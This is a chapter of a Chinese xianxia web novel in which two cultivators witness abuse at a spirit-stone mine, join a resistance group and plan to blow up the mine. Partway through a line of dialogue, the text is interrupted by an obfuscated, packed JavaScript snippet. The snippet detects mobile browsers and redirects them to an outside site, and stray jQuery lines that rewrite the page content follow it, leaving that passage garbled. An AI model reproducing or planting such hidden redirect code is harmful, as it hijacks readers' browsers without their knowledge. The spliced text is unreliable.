离灵矿越近，环境越发凄凉。


    褪去繁华，褪去幸福，闻不到虚假的烟火气，只有血腥与粉尘混合的，真实又颓然的现实。


    即使已经是深夜，灵矿上仍然灯火通明，能听见在镐头击打矿石的声音中夹杂着几声咳嗽。


    “啪——”鞭子划破长空，抽在皮肉上。


    不屑又尖利的声音响起：“还敢偷懒？！做不完这些，明天不许吃饭！”


    “老爷，求您了，我这就去做……”颤抖又衰老的哀求。


    一个瘦小佝偻的身影颤巍巍站起来，血滴在地上，换来更深的一鞭。


    “还敢污染灵矿！拖出去！扣掉工钱！”


    周围其他人只是麻木地看着，仿佛这样的场景已经发生无数次。


    “哼！你们这些人都给我记好了！这一切都是因为你们对神树的大不敬！只有这样才能洗去罪恶重投好胎，听见没有！”


    在一片稀稀拉拉的应声里，穿着锦衣绸缎的管事老爷得意地背手离开。


    玉云英满脸震惊，这显然是她从未曾见过也不曾料想的局面。从小师长所教，是除魔卫道，是守护苍生，却从未告诉她，修士奉为珍宝的灵石背后，是苍生百姓的血汗。


    “荒谬，怎么会有这种事情？”玉云英难掩愤慨，提剑就想上前，不料手腕被孟十八握住，将她带到一个隐蔽的角落。


    “不要为一时冲动而打草惊蛇。”孟十八冷静道：“这里比城市内更贫困、痛苦，也有了武陵城内从未有过的生老病死。”


    “难道就眼睁睁看着他们受罪？”


    “但你会暴露……”


    话音未落，孟十八转身轻喝，“谁？”


    “诶呀。”矮墙上翻下两个孩童，一女一男，面容相似，都想把对方护在身后。


    “你们……是神使吗？”男孩率先开口，两只眼睛警惕地看向她们腰间的剑。


    “二位姐姐，”女孩嘴巴更甜，“这么晚了，是迷路了吗？”


    孟十八沉默蹲下身，将两块糖果放到他们手上，而后起身走到玉云英身边，低声道：“我不会应付孩子，劳烦你了。”


    玉云英安抚性地拍了拍她的手，上前蹲下身，微笑道：“我们是外地的修士，天色这么晚，你们怎么不回家睡觉？”


    “我们在等爹娘回来，”小女孩握住手里的糖果，“谢谢姐姐，我还没见过这么好看的东西呢。”


    “姐？”小男孩下意识看向小女孩，玉云英自然读出他们的眉眼官司，笑道：“夜里风冷，不如我们送你们回家如何？”


    “好啊好啊，我家就在那边，不远的。”


    这只是一个开始，两个小孩家住在一间破旧漏风的小院里，孟、玉二人刚进院门，就感受到双重威胁——脚下有灵阵，身后有柴刀，几个人虎视眈眈地盯着她们，小孩们早就一溜烟跑过去，邀功道：“怎么样？这下可以让我们也加入你们了吧！”


    “押进去审。”其中一人道，“你们两个，把武器交出来。”


    二人对视一眼，既来之则安之，解了身上佩剑，走进屋内。


    前厅不大，围着摆了十二张交椅，正中的椅子上坐着一位面带疤痕的青年，手上一层又一层老茧与伤疤，腰间别着一把砍刀，不怒自威。


    “老大，就是她们两个，进村的时候就被我们盯上了！”小男孩抢先开口，“我还看到她两会飞，一定不是好人！”


    “她们说话提到了武陵，还拿我们和武陵比较，”小女孩紧接着补充，“身佩剑却手无茧，完全符合神使的表现。”


    “还有这个，”小男孩将糖果放在桌上，“拿这个骗小孩的都是坏人！”


    青年听完，坐在椅子上，看向她们，“你们可有什么话要说？”


    玉云英开口道：“我们是路过武陵的外乡修士，不清楚神使是什么。”


    “外乡人？怎么可能！”旁边一个汉子忍不住反驳，“外乡人要么被灌了迷魂汤，要么被困在鬼村，怎么可能从武陵来这里？”


    “为何不能？”孟十八不经意开口。


    “因为这其中……”


    “老朱，闭嘴。”青年截断话头，对着孟十八道：“你去过鬼村。”


    “是。”


    “证据是什么？”


    孟十八冷静道：“留守树心的许怀清与鬼村的许方沐可为我作证。”


    屋内安静了一瞬，青年挥手道：“诸位都散了吧，我与二位客人单独聊聊。”


    “老大，万一她们是诈你的怎么办！”


    “老大，我去门口放哨！”


    “老大……”小姐弟二人蹭过去，“让我们也听听嘛。”


    “睡觉去，听见没有。”


    众人顿时如鸟兽散，房内只剩下三人，门都被贴心合拢。


    青年指了指椅子，自己拿起简陋的铜壶，“请坐吧，这里没有茶叶，凑合喝些白水。”


    “不知阁下如何称呼？”玉云英问道。


    “刘慈，二位呢？”


    “云霄门玉云英。”


    “散修十八娘。”


    刘慈笑了笑，“比我的名字还不上心，你们来这里做什么？灵石生意都是白天谈，也不在这谈。”


    “你们为什么没有被武陵控制。”孟十八直截了当问道。


    刘慈倒水的手一顿，唇边的笑意漫进眼里，“为什么？自然因为这里的人，都是被神树抛弃的渣滓啊。”


    开采灵矿的矿工有两类人，一是被武陵城流放的，他们大多无法接受现实，在崩溃中发疯等死，二是天生的弃民，他们的祖先拒绝了神树，于是世世代代卖与神树为奴。


    “没有人后悔吗？”玉云英下意识问，“没有人改变信仰吗？”


    “哈哈哈……当然，当然有。”刘慈像是听到什么绝妙笑话，“你们也看到了矿洞里的情景，那些抽人鞭子的官老爷，就是投靠神树的，我们曾经的邻里亲友啊。”


    “什么？”玉云英失声道，“难道他们天性如此？”


    “天性？谁知道什么叫天性？我们的天性难道生来就只有服从或背叛吗？”刘慈反问，“那些人自己嘴里都是仁义道德迫不得已，一拿到鞭子，却比神使还要狠毒阴险，改变他们的……”


    “就是被整个武陵信仰供奉的神树！”


    神树降临前的武陵是什么样，已经没有人记得清了。或许只有山脚下几处村落，或许他们中大部分人，一辈子也走不出这座山。


    那棵树是什么时候出现的，已经没有人说得明白了。或许是春日，或许在战争前，或许只是平凡不过的某一天。有人发现了它，许下第一个愿望。


    武陵城，从此现世。


    “祂会向你许诺一切。”刘慈伸手一划，“功成名就，金银财宝，幸福安康，祂给予的，是幸福。”


    没有人会拒绝“幸福”二字。


    “代价是，成为祂的傀儡，不得自由。”


    一旦出现祂眼中的“瑕疵”，这个傀儡就会毫不留情地被流放舍弃。


    “不是所有人都相信祂，我的祖先，他们的祖先，选择靠自己的双手挣得未来。”


    他们的违逆，触犯了祂的禁忌。


    “起先，我们是佃农，是背朝太阳面向黄土，勤勤恳恳一生还倒欠东家的贫民。”


    “后来，仙人们闯入这里，他们看中了灵矿，与神树达成交易。”


    最早是女人和小孩，因为她们能更方便通过矿洞，后来老人也加入其中，榨干他们身上最后的价值。


    有人无法接受，跪地哀求神树的垂怜，哭诉祖辈的无知愚昧。于是神树降下奇迹，赐他同等的安乐，以及一条用来抽打昔日亲邻的长鞭。


    有人奋起反抗，反抗鞭子，反抗老爷，反抗神使，反抗神树本身。


    “我们从未停止过。”刘慈伸出手，那是一个邀请的姿态，“鬼村的仙人，想要回家，而我们，要夺回自己的家。”


    玉云英第一个将手放上，正色道：“降妖除魔，护卫苍生，分内之事。”


    孟十八沉默片刻，学着玉云英动作将手覆上。


    “欢迎加入金狮会。”


    *


    天光熹微，许方沐又一次从噩梦里醒来，索性溜达去河边吹风，却见早有人坐在那里浣衣。


    “哟，这不是叶轻舟吗？还会洗衣服，嫁你有福咯。”


    叶轻舟头也不回，认真搓去衣服上的脏污，许方沐觉得无趣，坐在边上用石头打水漂，有一搭没一搭地说话。


    “我去村口看了，没人。”


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17169216|196813||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我知道。”


    “你知道就好，其实你已经坚持够久了，十八娘肯定比你强。”


    “嗯，她确实厉害。”


    “诶你洗什么衣服啊也没见你穿过黑色，这款式还有点眼熟……”


    “少管闲事，许方沐，我问你要的地图你画了吗？”


    “喂！昨天是谁第一个发现你的？先说句谢谢。”


    叶轻舟停下手上动作，洗干净了手，认真行礼道：“昨日多谢你帮忙。”


    昨天他沉沦幻境，被人发现时倒在入口处昏迷不醒，泪流满面，许方沐经验丰富，掐醒他后又迅速给他灌药安神，以防他精神错乱。


    许方沐搓了搓胳膊，“真受不了你这样，”他嘟囔着，“哎，现在仙盟……我们剑宗排行怎么样？”


    叶轻舟努力回想，“没印象了，我出身云霄门，主修阵法符咒，不了解剑道那边的情况，不过我师姐是剑修，等她来了你可以问她。”


    “那就是没能重振荣光排名前列呗。”许方沐叹道，“本来我和姐姐是想趁仙盟大比一展身手的，谁知道被困在这个鬼地方五十年！希望爹娘师尊他们安好也不知道找我们找了多久……”


    一时间只能听到叶轻舟搓衣服的声音。


    过了会，许方沐缓过劲，又是一副吊人胃口的语气，“你就不好奇灵矿是什么样的吗？”


    确实不好奇，叶轻舟心里回他，要不是他得编个理由出村开地图，他才不会找许方沐要什么地图。


    “灵矿上有个组织叫金狮会，里面大多是武陵弃民，帮过我们不少忙，你要是去那里，记得帮我问个好。”


    “金狮会？那是什么？”叶轻舟脑子里瞬间浮现出水泊梁山一百零八将的画面。


    聊到这许方沐浑身有劲，“他们专门和妖树以及武陵人对着干，有一次，他们偷藏了百斤炸药，差点就成功炸毁灵矿，让武陵损失惨重，”他手舞足蹈地比划起来，“要知道那棵树有自愈能力，即使当时我们四位四境修士也没能在祂身上留下不可逆转的伤。但是他们金狮会做到了，狠狠地把祂炸老实了，嘿，那伤口长了三个月才好！”


    灵矿受损会影响神树本体？叶轻舟暗中记下，“那后来呢？”


    “后来，”许方沐脸一垮，“后来他们那边情况更糟，我是出不去鬼村了，没法给那些坏东西一个教训。听其他人说，闹出了不少监工打死人的事，如果不是会因此污染灵石，他们也不会停手的。”


    灵石会被污染，这点叶轻舟早就清楚，只是，“按理说，怨气会污染灵石，可是武陵这样折磨他们……”


    “这我就不清楚了。”许方沐老实道，“我去不了那地方，”他遥遥指了下小径示意，“不过，灵矿毕竟与妖树本体相连，说不定是祂有自净功能。”


    叶轻舟收起疑问，将拧干的衣服放回木盆里，起身道：“我今天准备过去，记得把地图给我。”


    “哎你——”许方沐顺势起身，见叶轻舟的动作差点脚一崴跌坐回去，“你这是在干什么？”


    叶轻舟拿出储物袋里的微型烘干机，放大成正常大小，把衣服放进去烘干，理所当然道：“收衣服啊。”


    “我刚刚就想说了，明明用清洁术就能解决，你为什么要搞这么多流程？”


    “洗不干净，”叶轻舟耐心解答，宛如一个洗衣机导购员，“清洁术说到底也只是转移术的一种，你怎么不知道上面的脏污会转移到哪呢？既不安全也不干净。”


    许方沐张口还想反驳，抬眼一愣，指着叶轻舟身后道：“你快看，那是不是十八娘？”


    叶轻舟手上还搭着衣服，回头望去，来者一前一后，前面那位一身黑衣，可不就是孟十八，叶轻舟心头万绪尚未说出口，瞧到后面那位女修，又惊又喜唤道：“师姐！”


    玉云英看到叶轻舟同样欢喜，“叶师弟，你平安就好。”


    许方沐算了算时辰，难以置信道：“你们速度可真够快的。”


    “时间不等人，”孟十八淡淡接道：“离大典还剩一天，我们要做的还有很多。”


    她的眼神无意间落到叶轻舟手上的衣服，叶轻舟耳尖发烫，慌忙收到身后。


    “金狮会需要一个阵法师炸掉灵矿。”


    “我需要你的帮助，叶轻舟。”